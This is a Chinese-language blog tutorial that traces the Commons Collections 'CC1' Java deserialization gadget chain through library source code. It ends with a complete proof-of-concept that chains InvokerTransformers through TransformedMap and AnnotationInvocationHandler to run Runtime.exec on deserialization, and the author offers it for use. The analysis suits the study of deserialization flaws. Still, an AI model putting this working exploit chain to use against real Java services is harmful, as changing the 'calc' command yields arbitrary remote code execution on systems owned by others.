CC1
CC1
反序列化嘛肯定从终点类开始找
入口类
先来看一个接口
/*
* Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */package org.apache.commons.collections;
/**
* Defines a functor interface implemented by classes that transform one * object into another. * <p>
* A <code>Transformer</code> converts the input object to the output object.
* The input object should be left unchanged. * Transformers are typically used for type conversions, or extracting data * from an object. * <p>
* Standard implementations of common transformers are provided by
* {@link TransformerUtils}. These include method invokation, returning a constant,
* cloning and returning the string value. ** @since Commons Collections 1.0
* @version $Revision: 646777 $ $Date: 2008-04-10 13:33:15 +0100 (Thu, 10 Apr 2008) $
** @author James Strachan
* @author Stephen Colebourne
*/public interface Transformer {
/**
* Transforms the input object (leaving it unchanged) into some output object. * * @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/ public Object transform(Object input);
}
就是一个很简单的接口实现了一个抽象方法transform;
然后看一下哪些类实现了该接口(IDEA中快捷键:ctrl+alt+b):
主要是这仨InvokerTransformer ConstantTransformer ChainedTransformer
当我们看见InvokerTranseformer中的方法时
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
看见了invoke return的时method.invoke(input, iArgs)这里是可以任意命令执行的因为这里构造函数可以传入任意参数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
测试一下
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
public class CC1test{
public static void main(String[] args)throws Exception {
InvokerTransformer in = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
in.transform(Runtime.getRuntime());
}
}
当然我们不可能手动去调用transform因为我们要在反序列化里实现那我们下一步要找谁调用了transform
checkSetValue()
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
但是protected final Transformer valueTransformer; 没关系找找有没有public的方法赋值
显而易见
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
那么我们只需调用decorate方法把valueTransformer赋值为我们之前写的对象即可
继续挖调用链找谁调用了checkSetValue

setValue()
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
可以看见时MapEntry这个子类里的setValue调用了checkSetValue
但是很显然这个setValue是不能直接实例化调用的因为他的构造方法是被保护的
这个方法倒是共有方法所以难点时咋找这个子类这里太多了有点不过我还是研究出来了网上的一般都是直接给答案这里其实也好懂哈哈哈(我怀疑都是懒得看了,解释了一大堆都是没用的。 。 。
我们直接看这个子类所处包的源代码
/*
* Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */package org.apache.commons.collections.map;
import java.lang.reflect.Array;
import java.util.Iterator;
import java.util.Map;
import java.util.Set;
import org.apache.commons.collections.iterators.AbstractIteratorDecorator;
import org.apache.commons.collections.keyvalue.AbstractMapEntryDecorator;
import org.apache.commons.collections.set.AbstractSetDecorator;
/**
* An abstract base class that simplifies the task of creating map decorators. * <p>
* The Map API is very difficult to decorate correctly, and involves implementing
* lots of different classes. This class exists to provide a simpler API. * <p>
* Special hook methods are provided that are called when objects are added to
* the map. By overriding these methods, the input can be validated or manipulated. * In addition to the main map methods, the entrySet is also affected, which is * the hardest part of writing map implementations. * <p>
* This class is package-scoped, and may be withdrawn or replaced in future
* versions of Commons Collections. * * @since Commons Collections 3.1
* @version $Revision: 646777 $ $Date: 2008-04-10 13:33:15 +0100 (Thu, 10 Apr 2008) $
** @author Stephen Colebourne
*/abstract class AbstractInputCheckedMapDecorator
extends AbstractMapDecorator {
/**
* Constructor only used in deserialization, do not use otherwise. */ protected AbstractInputCheckedMapDecorator() {
super();
}
/**
* Constructor that wraps (not copies). ** @param map the map to decorate, must not be null
* @throws IllegalArgumentException if map is null
*/ protected AbstractInputCheckedMapDecorator(Map map) {
super(map);
}
//-----------------------------------------------------------------------
/**
* Hook method called when a value is being set using <code>setValue</code>.
* <p>
* An implementation may validate the value and throw an exception
* or it may transform the value into another object. * <p>
* This implementation returns the input value.
** @param value the value to check
* @throws UnsupportedOperationException if the map may not be changed by setValue
* @throws IllegalArgumentException if the specified value is invalid
* @throws ClassCastException if the class of the specified value is invalid
* @throws NullPointerException if the specified value is null and nulls are invalid
*/ protected abstract Object checkSetValue(Object value);
/**
* Hook method called to determine if <code>checkSetValue</code> has any effect.
* <p>
* An implementation should return false if the <code>checkSetValue</code> method
* has no effect as this optimises the implementation. * <p>
* This implementation returns <code>true</code>.
** @return true always
*/ protected boolean isSetValueChecking() {
return true;
}
//-----------------------------------------------------------------------
public Set entrySet() {
if (isSetValueChecking()) {
return new EntrySet(map.entrySet(), this);
} else {
return map.entrySet();
}
}
//-----------------------------------------------------------------------
/**
* Implementation of an entry set that checks additions via setValue. */ static class EntrySet extends AbstractSetDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
super(set);
this.parent = parent;
}
public Iterator iterator() {
return new EntrySetIterator(collection.iterator(), parent);
}
public Object[] toArray() {
Object[] array = collection.toArray();
for (int i = 0; i < array.length; i++) {
array[i] = new MapEntry((Map.Entry) array[i], parent);
}
return array;
}
public Object[] toArray(Object array[]) {
Object[] result = array;
if (array.length > 0) {
// we must create a new array to handle multi-threaded situations
// where another thread could access data before we decorate it result = (Object[]) Array.newInstance(array.getClass().getComponentType(), 0);
}
result = collection.toArray(result);
for (int i = 0; i < result.length; i++) {
result[i] = new MapEntry((Map.Entry) result[i], parent);
}
// check to see if result should be returned straight
if (result.length > array.length) {
return result;
}
// copy back into input array to fulfil the method contract
System.arraycopy(result, 0, array, 0, result.length);
if (array.length > result.length) {
array[result.length] = null;
}
return array;
}
}
/**
* Implementation of an entry set iterator that checks additions via setValue. */ static class EntrySetIterator extends AbstractIteratorDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
super(iterator);
this.parent = parent;
}
public Object next() {
Map.Entry entry = (Map.Entry) iterator.next();
return new MapEntry(entry, parent);
}
}
/**
* Implementation of a map entry that checks additions via setValue. */ static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
}
很显然这里重写了iterator()和next()而且注意看next()返回的是new MapEntry(entry, parent); 呢这个子类不就来了吗这两个方法的重写其实让我们不难联想到for-each这个写法什么?
解释一波
我们先看poc
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1test {
public static void main(String[] args)throws Exception {
InvokerTransformer in = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap map=new HashMap();
map.put("key","value");
Map<Object,Object> t= TransformedMap.decorate(map,null,in);//静态方法staic修饰直接类名+方法名调用
for(Map.Entry entry : t.entrySet()){
entry.setValue(Runtime.getRuntime());
}
}
}
in首先被赋值成了InvokerTransformer这个对象 接下来初始化了一个hashmap(就是入口类)然后存入了一组key和value再把 这个map对象存到实现了接口Map的t对象里接着用for-each表达式遍历t.entrySet()里的所有元素我们知道t其实是TransformedMap但是TransformedMap没有entrySet()这个方法那我们就找父类
没想到就是AbstractInputCheckedMapDecorator
public Set entrySet() {
if (isSetValueChecking()) {
return new EntrySet(map.entrySet(), this);
} else {
return map.entrySet();
}
}
返回了一个EntrySet对象由于之前的map存储
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
是在super里那就一直找父类去看

最终找到了存入逻辑也就是这里所有的map都被赋值成了hashMap而AbstractInputCheckedMapDecorator作为子类那么他的map就继承了这个父类也就是我们赋值的hashMap
所以t.entrySet其实就是AbstractInputCheckedMapDecorator.entrySet()然后return的是
new EntrySet(map.entrySet(), this);
等价于
new EntrySet(HashMap.entrySet(), this);
翻一下源代码
public Set<Map.Entry<K,V>> entrySet() {
Set<Map.Entry<K,V>> es;
return (es = entrySet) == null ? (entrySet = new EntrySet()) : es;
}
返回了一个Set类型的对象里面包含的是key,value
其实简单来说就是(不准但可以参考
就是·return了一个
new EntrySet(Set, this);
看构造函数
static class EntrySet extends AbstractSetDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
super(set);
this.parent = parent;
}
这里想都不用想super又是存储了嘛那为啥entry可以去做setValue呢?
这个我真的看了好久先理解这个for-each循环在干啥他等价于
for (Iterator<Map.Entry> iterator = t.entrySet().iterator(); iterator.hasNext(); ) {
// 在循环体内通过 iterator.next() 获取下一个元素
Map.Entry entry = iterator.next();
xxxx
}
之前我不是提到了源代码重写了iterator()和next()嘛
iterator()是java中对集合类的统一访问方法就是一个迭代器遍历一个实现了某个接口的类的对象集合
这里就是实现了Map.Entry 这个接口然后next()函数返回的就是下一个值嘛
public Object next() {
Map.Entry entry = (Map.Entry) iterator.next();
return new MapEntry(entry, parent);
}
ok看见子类MapEntry了
那不就其实调用的是MapEntry的setValue了
欧克继续挖找找谁调用setValue
最后在AnnotationInvocationHandle找到
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
memberValue参数可控,而且发现还在readObject方法里面,这不妥妥起点类了嘛
但发现这个构造方法前面没有public属性,那么就是default类型。在java中,default类型只能在本包进行调用。说明这个类只能在sun.reflect.annotation这个包下被调用。
反射来解决
图片.png
当然这样是还调用不到setValue方法的,有两个if条件。而且就算调用了发现setVlaue参数是固定的,我们还根本没有把Runtime.getRuntime()这个参数传进去,而且Runtime.getRuntime()也不能进行序列化,因为Runtime没有序列化接口。
解决runtime的序列化问题
因为Runtime是没有反序列化接口的的,所以其不能进行反序列化,但是可以把其变回原型类class,这个是存在serilize接口的:
图片.png
在利用反射来调用其方法利用了ChainedTransformer 这样做到了链式调用
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer cha=new ChainedTransformer(transformers);
cha.transform(Runtime.class);
解决if问题

很好那我们只要传入的name为value就可以完美通过if了
第二个if也很好过只要不符合实例类型就行所以随便传入aaa就能去
图片.png
好那就要解决参数问题了我们来看梦想最开始地方
解决参数问题
图片.png
这里的iConstant只能传入一次且不能再更改,那么我们只要提前传入Runtime.class那么就可以完美避开参数不是我们想要的问题了最终poc
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer cha=new ChainedTransformer(transformers);
// cha.transform(Runtime.class);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","aaa");
Map<Object,Object> tmap=TransformedMap.decorate(map,null,cha);//静态方法调用
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
Object obj=con.newInstance(Target.class,tmap);
serilize(obj);
deserilize("ser.bin");
}
public static void serilize(Object obj)throws IOException{
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
拿去用吧哈哈哈写的有点晕毕竟源码挖掘还是有点难的需要蛮高的开发要求像我这种程序能力一般的真的蛮吃力地所以还是建议先学开发

浙公网安备 33010602011771号